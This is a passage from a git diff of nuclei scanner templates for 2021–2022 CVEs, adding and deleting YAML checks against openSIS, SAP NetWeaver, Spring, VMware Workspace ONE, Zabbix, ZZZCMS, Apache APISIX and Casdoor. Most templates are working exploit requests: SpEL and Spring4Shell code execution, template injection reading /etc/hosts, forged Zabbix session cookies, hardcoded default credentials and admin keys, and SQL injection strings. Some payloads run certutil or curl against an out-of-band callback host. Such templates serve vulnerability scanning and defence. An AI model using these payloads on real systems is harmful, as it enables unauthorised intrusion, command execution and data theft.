susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php. + remediation: | + Apply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691). + reference: + - https://securityforeveryone.com/blog/opensis-student-information-system-0-day-vulnerability-cve-2021-41691 + - https://www.exploit-db.com/exploits/50637 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4169 + classification: + cve-id: CVE-2021-41691 + metadata: + max-request: 2 + tags: sqli,auth,edb,cve,cve2021,opensis +variables: + num: "999999999" + +http: + - raw: + - | + POST /index.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + USERNAME={{username}}&PASSWORD={{password}}&language=en&log= + - | + POST /TransferredOutModal.php?modfunc=detail HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + student_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5 + + attack: pitchfork + payloads: + username: + - student + password: + - student@123 + req-condition: true + cookie-reuse: true + matchers: + - type: dsl + dsl: + - 'contains(body_2, "' - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/29 diff --git a/nuclei-templates/CVE-2022/CVE-2022-2187.yaml b/nuclei-templates/CVE-2022/CVE-2022-2187.yaml deleted file mode 100644 index 26f13b2649..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-2187.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2022-2187 -info: - name: Contact Form 7 Captcha < 0.1.2 - Reflected Cross-Site Scripting - author: For3stCo1d - severity: medium - description: | - The Contact Form 7 Captcha WordPress plugin before 0.1.2 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers - reference: - - https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d - - https://wordpress.org/plugins/contact-form-7-simple-recaptcha - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2187 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-2187 - cwe-id: CWE-79 - tags: cve,cve2022,wordpress,xss,wp-plugin,wp -requests: - - method: GET - path: - - '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&">' - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "Contact Form 7" - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/CVE-2022-22536.yaml b/nuclei-templates/CVE-2022/CVE-2022-22536.yaml new file mode 100644 index 0000000000..3632dd34fc --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-22536.yaml @@ -0,0 +1,73 @@ +id: CVE-2022-22536 + +info: + name: SAP Memory Pipes (MPI) Desynchronization + author: pdteam + severity: critical + description: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable to request smuggling and request concatenation attacks. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system. + remediation: | + Apply the latest security patches and updates provided by SAP to mitigate this vulnerability. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-22536 + - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022 + - https://github.com/Onapsis/onapsis_icmad_scanner + - https://blogs.sap.com/2022/02/11/remediation-of-cve-2022-22536-request-smuggling-and-request-concatenation-in-sap-netweaver-sap-content-server-and-sap-web-dispatcher/ + - https://launchpad.support.sap.com/#/notes/3123396 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2022-22536 + cwe-id: CWE-444 + epss-score: 0.95701 + epss-percentile: 0.99249 + cpe: cpe:2.3:a:sap:content_server:7.53:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: sap + product: content_server + shodan-query: http.favicon.hash:-266008933 + tags: cve,cve2022,sap,smuggling,netweaver,web-dispatcher,memory-pipes,kev + +http: + - raw: + - |+ + GET {{sap_path}} HTTP/1.1 + Host: {{Hostname}} + Content-Length: 82646 + Connection: keep-alive + + {{repeat("A", 82642)}} + + GET / HTTP/1.1 + Host: {{Hostname}} + + payloads: + sap_path: + # based on https://github.com/Onapsis/onapsis_icmad_scanner + - /sap/admin/public/default.html + - /sap/public/bc/ur/Login/assets/corbu/sap_logo.png + stop-at-first-match: true + unsafe: true + read-all: true + + matchers-condition: and + matchers: + - type: dsl + dsl: + - "contains(tolower(body), 'administration')" + - "contains(tolower(header), 'content-type: image/png')" + condition: or + + - type: word + part: body + words: + - "HTTP/1.0 400 Bad Request" # error in concatenated response + - "HTTP/1.0 500 Internal Server Error" + - "HTTP/1.0 500 Dispatching Error" + condition: or + + - type: status + status: + - 200 + +# digest: 490a0046304402201557be8be6c4e25d1e2b42ecc53e2eee8438d9f24a142be556144c90b8ba8b0902203d1ee7a46be961c32a002203fa345bb27cccecec1ad9350caa256b1788e2d26c:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-2290.yaml b/nuclei-templates/CVE-2022/CVE-2022-2290.yaml deleted file mode 100644 index 95e4ee6012..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-2290.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2022-2290 -info: - name: Trilium - Cross-Site Scripting - author: dbrwsky - severity: medium - description: Cross-site Scripting (XSS) - Reflected in GitHub repository zadam/trilium prior to 0.52.4, 0.53.1-beta. - reference: - - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/ - - https://github.com/zadam/trilium - - https://nvd.nist.gov/vuln/detail/CVE-2022-2290 - - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-2290 - cwe-id: CWE-79 - metadata: - shodan-query: title:"Trilium Notes" - verified: "true" - tags: cve,cve2022,xss,trilium -requests: - - method: GET - path: - - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E' - - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E' - - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "No handler matched for custom " - - "Note '' not found" - condition: or - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 404 diff --git a/nuclei-templates/CVE-2022/CVE-2022-22947.yaml b/nuclei-templates/CVE-2022/CVE-2022-22947.yaml new file mode 100644 index 0000000000..4b898717eb --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-22947.yaml @@ -0,0 +1,67 @@ +id: CVE-2022-22947 + +info: + name: CVE-2022-22947 + author: 0x240x23elu + severity: critical + description: Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947) + reference: + - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947 + tags: cve,cve2022,rce,spring + +requests: + - raw: + - | + POST /actuator/gateway/routes/hacktest HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: */* + Accept-Language: en + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 + Connection: close + Content-Type: application/json + Content-Length: 329 + + { + "id": "hacktest", + "filters": [{ + "name": "AddResponseHeader", + "args": { + "name": "Result", + "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" + } + }], + "uri": "http://example.com" + } + + - | + POST /actuator/gateway/refresh HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: */* + Accept-Language: en + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 + Connection: close + Content-Type: application/x-www-form-urlencoded + Content-Length: 0 + + - | + GET /actuator/gateway/routes/hacktest HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: */* + Accept-Language: en + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 + Connection: close + Content-Type: application/x-www-form-urlencoded + Content-Length: 0 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "udi=0" + - "(root)" + - "groups" + - "hacktest" \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-22954.yaml b/nuclei-templates/CVE-2022/CVE-2022-22954.yaml deleted file mode 100644 index 02d131fa6e..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-22954.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2022-22954 - -info: - name: VMware Workspace ONE Access - Server-Side Template Injection - author: sherlocksecurity - severity: critical - description: | - VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. - impact: | - Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system. - remediation: | - Apply the latest security patches provided by VMware to mitigate this vulnerability. - reference: - - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 - - https://www.vmware.com/security/advisories/VMSA-2022-0011.html - - http://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-22954 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-22954 - cwe-id: CWE-94 - epss-score: 0.97348 - epss-percentile: 0.99878 - cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: vmware - product: identity_manager - shodan-query: http.favicon.hash:-1250474341 - tags: cve2022,cve,workspaceone,kev,tenable,packetstorm,vmware,ssti - -http: - - method: GET - path: - - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Authorization context is not valid" - - - type: status - status: - - 400 -# digest: 4a0a00473045022100d526962a39ddb96c782fb1b73127f860969e804b9df4fb0e992d34f58b0f8a970220594f3e21afff5d99b6ea0023e8d7fd5b96f238f8b48d7c5de5b4269733b91906:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-22965.yaml b/nuclei-templates/CVE-2022/CVE-2022-22965.yaml new file mode 100644 index 0000000000..e6922c3d24 --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-22965.yaml @@ -0,0 +1,36 @@ +id: CVE-2022-22965 + +info: + name: CVE-2022-22965 - Spring4Shell RCE Vulnerability + author: justmumu + description: CVE-2022-22965 - Spring Core Remote Code Execution Vulnerability + severity: critical + tags: cve,rce,spring,cve2022,injection + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22965 + cwe-id: CWE-770 + +requests: + - method: POST + path: + - "{{BaseURL}}" + redirects: false + headers: + suffix: "%>" + c2: "<%" + Content-Type: application/x-www-form-urlencoded + body: class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(%22j%22))%7B%20out.println(new%20String(%22Falcon%20Punch!%22))%3B%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=AAAAAAAAAAAAAAA&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= + + - method: GET + path: + - "{{RootURL}}/AAAAAAAAAAAAAAA.jsp" + headers: + 01: "{{wait_for(5)}}" + + matchers: + - type: dsl + dsl: + - "status_code==200 && contains(body, 'Falcon Punch!')" + \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-22972.yaml b/nuclei-templates/CVE-2022/CVE-2022-22972.yaml deleted file mode 100644 index f0934ac0fe..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-22972.yaml +++ /dev/null @@ -1,93 +0,0 @@ -id: CVE-2022-22972 -info: - name: VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass - author: For3stCo1d,princechaddha - severity: critical - description: | - VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. - reference: - - https://github.com/horizon3ai/CVE-2022-22972 - - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive - - https://www.vmware.com/security/advisories/VMSA-2022-0014.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-22972 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-22972 - cwe-id: CWE-287 - metadata: - fofa-query: app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager" || app="vmware-vRealize" - tags: cve,cve2022,vmware,auth-bypass,oast -requests: - - raw: - - | - GET /vcac/ HTTP/1.1 - Host: {{Hostname}} - - | - GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1 - Host: {{Hostname}} - - | - POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1 - Host: {{interactsh-url}} - Content-type: application/x-www-form-urlencoded - - protected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in - redirects: true - max-redirects: 3 - cookie-reuse: true - extractors: - - type: regex - part: body - name: protected_state - group: 1 - regex: - - 'id="protected_state" value="([a-zA-Z0-9]+)"\/>' - internal: true - - type: regex - part: body - name: horizonRelayState - group: 1 - regex: - - 'name="horizonRelayState" value="([a-z0-9-]+)"\/>' - internal: true - - type: regex - part: body - name: userstore - group: 1 - regex: - - 'id="userstore" value="([a-z.]+)" \/>' - internal: true - - type: regex - part: body - name: userstoreDisplay - group: 1 - regex: - - 'id="userstoreDisplay" readonly class="login-input transparent_class" value="(.*)"/>' - internal: true - - type: regex - part: body - name: stickyConnectorId - group: 1 - regex: - - 'name="stickyConnectorId" value="(.*)"/>' - internal: true - - type: kval - part: header - name: HZN-Cookie - kval: - - 'HZN' - matchers-condition: and - matchers: - - type: word - part: header - words: - - "HZN=" - - type: status - status: - - 302 - - type: word - part: interactsh_protocol - words: - - "http" - -# Enhanced by mp on 2022/06/01 diff --git a/nuclei-templates/CVE-2022/CVE-2022-23131.yaml b/nuclei-templates/CVE-2022/CVE-2022-23131.yaml deleted file mode 100644 index 725c2396c4..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-23131.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2022-23131 - -info: - name: Zabbix - SAML SSO Authentication Bypass - author: For3stCo1d,spac3wh1te - severity: critical - description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified. - reference: - - https://support.zabbix.com/browse/ZBX-20350 - - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage - - https://nvd.nist.gov/vuln/detail/CVE-2022-23131 - - https://github.com/1mxml/CVE-2022-23131 - remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-23131 - cwe-id: CWE-290 - cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:* - epss-score: 0.9718 - metadata: - max-request: 2 - fofa-query: app="ZABBIX-监控系统" && body="saml" - shodan-query: http.favicon.hash:892542951 - tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev - -http: - - method: GET - path: - - "{{BaseURL}}/zabbix/index_sso.php" - - "{{BaseURL}}/index_sso.php" - - headers: - Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 302 - - - type: dsl - dsl: - - "contains(tolower(all_headers), 'location: zabbix.php?action=dashboard.view')" - -# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/CVE-2022-23134.yaml b/nuclei-templates/CVE-2022/CVE-2022-23134.yaml deleted file mode 100644 index 06a3f5acb1..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-23134.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2022-23134 - -info: - name: Zabbix Setup Configuration Authentication Bypass - author: bananabr - severity: medium - description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend. - reference: - - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage - - https://nvd.nist.gov/vuln/detail/CVE-2022-23134 - - https://support.zabbix.com/browse/ZBX-20384 - - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - cvss-score: 5.3 - cve-id: CVE-2022-23134 - epss-score: 0.33652 - tags: cve,cve2022,zabbix,auth-bypass,kev - metadata: - max-request: 2 - -http: - - method: GET - path: - - "{{BaseURL}}/zabbix/setup.php" - - "{{BaseURL}}/setup.php" - - headers: - Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "Database" - - "host" - - "port" - - "Zabbix" - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/CVE-2022-23881.yaml b/nuclei-templates/CVE-2022/CVE-2022-23881.yaml new file mode 100644 index 0000000000..a61fef96bc --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-23881.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-23881 + +info: + name: ZZZCMS zzzphp 2.1.0 - Remote Code Execution + author: pikpikcu + severity: critical + description: ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php. + reference: + - https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md + - http://www.zzzcms.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-23881 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-23881 + cwe-id: CWE-77 + cpe: cpe:2.3:a:zzzcms:zzzphp:*:*:*:*:*:*:*:* + epss-score: 0.31115 + tags: cve,cve2022,rce,zzzphp,zzzcms + metadata: + max-request: 1 + +http: + - raw: + - | + GET /?location=search HTTP/1.1 + Host: {{Hostname}} + Cookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: status + status: + - 500 + +# Enhanced by mp on 2022/04/19 diff --git a/nuclei-templates/CVE-2022/CVE-2022-23944.yaml b/nuclei-templates/CVE-2022/CVE-2022-23944.yaml deleted file mode 100644 index 830928fc23..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-23944.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2022-23944 - -info: - name: Apache ShenYu Admin Unauth Access - author: cckuakilong - severity: critical - description: Apache ShenYu suffers from an unauthorized access vulnerability where a user can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Apache ShenYu admin panel. - remediation: Upgrade to Apache ShenYu (incubating) 2.4.2 or apply the appropriate patch. - reference: - - https://github.com/apache/incubator-shenyu/pull/2462 - - https://nvd.nist.gov/vuln/detail/CVE-2022-23944 - - https://github.com/cckuailong/reapoc/blob/main/2022/CVE-2022-23944/vultarget/README.md - - https://lists.apache.org/thread/dbrjnnlrf80dr0f92k5r2ysfvf1kr67y - - http://www.openwall.com/lists/oss-security/2022/01/25/15 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2022-23944 - cwe-id: CWE-306,CWE-862 - epss-score: 0.45887 - epss-percentile: 0.97086 - cpe: cpe:2.3:a:apache:shenyu:2.4.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: apache - product: shenyu - tags: cve,cve2022,shenyu,unauth,apache - -http: - - method: GET - path: - - "{{BaseURL}}/plugin" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"message":"query success"' - - '"code":200' - condition: and - - - type: status - status: - - 200 -# digest: 490a0046304402207d4b54505896da78a61426b82a09c16b3004ec88eaafb319e9154fc6619cf00b0220133dc543f97181df2601ebbfe17254135ff340b3160efb33fad2e75fc4b49dc7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-24112.yaml b/nuclei-templates/CVE-2022/CVE-2022-24112.yaml new file mode 100644 index 0000000000..d023a06b4a --- /dev/null +++ b/nuclei-templates/CVE-2022/CVE-2022-24112.yaml @@ -0,0 +1,86 @@ +id: CVE-2022-24112 + +info: + name: Apache APISIX - Remote Code Execution + author: Mr-xn + severity: critical + description: A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. + remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`). + reference: + - https://www.openwall.com/lists/oss-security/2022/02/11/3 + - https://twitter.com/sirifu4k1/status/1496043663704858625 + - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests + - https://nvd.nist.gov/vuln/detail/CVE-2022-24112 + - http://www.openwall.com/lists/oss-security/2022/02/11/3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-24112 + cwe-id: CWE-290 + epss-score: 0.97261 + epss-percentile: 0.99825 + cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: apache + product: apisix + shodan-query: title:"Apache APISIX Dashboard" + fofa-query: title="Apache APISIX Dashboard" + tags: cve,cve2022,apache,rce,apisix,oast,kev,intrusive + +http: + - raw: + - | + POST /apisix/batch-requests HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + Accept-Encoding: gzip, deflate + Accept-Language: zh-CN,zh;q=0.9 + + { + "headers":{ + "X-Real-IP":"127.0.0.1", + "Content-Type":"application/json" + }, + "timeout":1500, + "pipeline":[ + { + "method":"PUT", + "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", + "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}" + } + ] + } + - | + GET /api/{{randstr}} HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept-Language: zh-CN,zh;q=0.9 + + matchers-condition: and + matchers: + - type: word + part: body_1 + words: + - '"reason":"OK"' + - '"status":200' + condition: and + + - type: word + part: interactsh_protocol + words: + - http + + - type: status + status: + - 200 + + extractors: + - type: regex + group: 1 + regex: + - GET \/([a-z-]+) HTTP + part: interactsh_request +# digest: 4b0a004830460221008ec50579ecb1d58ca336d07a17961f227be3a77e752f3700fee6696537ecfaa7022100bbacb0066289e35e4ed902e5b09dfe5935e1cf61edc477f729c80d7926a6117a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/CVE-2022-24124.yaml b/nuclei-templates/CVE-2022/CVE-2022-24124.yaml deleted file mode 100644 index 7332389579..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24124.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2022-24124 - -info: - name: Casdoor 1.13.0 - Unauthenticated SQL Injection - author: cckuailong - severity: high - description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations. - remediation: | - Upgrade to a patched version of Casdoor or apply the necessary security patches to mitigate the SQL injection vulnerability. - reference: - - https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html - - https://www.exploit-db.com/exploits/50792 - - https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget - - https://nvd.nist.gov/vuln/detail/CVE-2022-24124 - - https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-24124 - cwe-id: CWE-89 - epss-score: 0.01169 - epss-percentile: 0.83361 - cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: casbin - product: "casdoor" - shodan-query: http.title:"Casdoor" - tags: sqli,unauth,packetstorm,edb,cve,cve2022,casdoor - -http: - - method: GET - path: - - "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "XPATH syntax error.*'" - - "casdoor" - condition: and - - - type: status - status: - - 200 - -# digest: 4b0a004830460221009077f8a941a481bfbd2f44f390f850b6fb6d708592c4450115e4f403ba538b30022100ba34984a46092e3f90f87d42784b0772608f993a55a0e561391b7440fe5a6188:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2022/CVE-2022-24129.yaml b/nuclei-templates/CVE-2022/CVE-2022-24129.yaml deleted file mode 100644 index 073b046241..0000000000 --- a/nuclei-templates/CVE-2022/CVE-2022-24129.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2022-24129 -info: - name: Shibboleth OIDC OP plugin <3.0.4 - Server-Side Request Forgery - author: 0x_Akoko - severity: high - description: The OIDC OP plugin before 3.0.4 for Shibboleth Identity Provider allows server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter. This allows attackers to interact with arbitrary third-party HTTP services. - reference: - - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF - - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP - - https://nvd.nist.gov/vuln/detail/CVE-2022-24129 - - http://shibboleth.net/community/advisories/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N - cvss-score: 8.2 - cve-id: CVE-2022-24129 - cwe-id: CWE-918 - tags: cve,cve2022,ssrf,oidc,shibboleth -requests: - - method: GET - path: - - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}' - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - type: word - part: interactsh_request - words: - - "ShibbolethIdp" diff --git 